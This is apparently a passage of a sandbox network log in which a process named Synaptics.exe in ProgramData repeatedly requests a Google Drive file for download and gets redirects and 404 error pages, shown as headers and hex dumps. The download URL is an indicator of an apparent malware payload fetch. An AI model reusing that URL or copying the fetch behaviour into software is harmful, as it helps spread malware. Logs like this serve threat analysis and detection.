2024-08-22 11:11:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DcPNJRPH6Dr5oKTudWforA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	49900	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:06 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:06 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:06 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-d_FUVZlj-SMy_j1ZOnRCuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPKp_Nxy88lcAVnThNIxUW2HKMH-P98y7XXAauMjkd0yDdh6g1kIBuKidDe6OnUaMTj4pg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:06 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:06 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 71 6f 7a 50 43 30 4a 6c 46 49 35 75 43 36 79 74 73 78 42 42 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="2qozPC0JlFI5uC6ytsxBBw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:06 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	49901	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:06 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:06 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:06 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VYBCc6wv_feHN5AdMiHU9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNZ_EaxwGCuGtfP1XOUi7wmEIaE3RxVfFCG--qMSbSx9vZj_nOPwDfrseJEGCyUWHUoNe7Yr2hpJA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:06 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:11:06 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 49 76 6b 31 79 70 50 70 6f 6b 46 6e 68 5a 61 35 5a 54 4c 78 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="IIvk1ypPpokFnhZa5ZTLxQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:11:06 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	49903	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:07 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	49904	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:07 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	49905	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:07 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:07 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:07 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-77Ywy1ZFdfVsBDMu4wAuHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nMh8RtLyX4Xqd49QCENroHzS690l6_1dtn6AJQ9gPA9vczUhSPnv13QeBFLmtEzr20SRQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:07 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:11:07 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 48 46 7a 54 61 4e 42 4c 32 67 51 55 79 31 49 4d 30 49 52 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="RHFzTaNBL2gQUy1IM0IRQA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:07 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	49909	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:08 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-KU7469gNo0zfoX5LY4s1-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	49910	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:08 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:08 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EtYryhafCCG4peLm_f6k_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	49912	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:09 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:09 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:09 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-H9HVmHwWHLICiIc2YWqiWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nNA_4UDZO9sbRz5hGG3qu6IrlUY2SifMVuGW540ze_WSV2jRNZNoBHLaQyB7wV5U2_Rkw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:09 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:11:09 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 6e 69 32 58 37 45 61 71 6e 50 33 78 4b 58 31 6e 62 4f 54 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="hni2X7EaqnP3xKX1nbOTbQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:09 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	49911	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:09 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
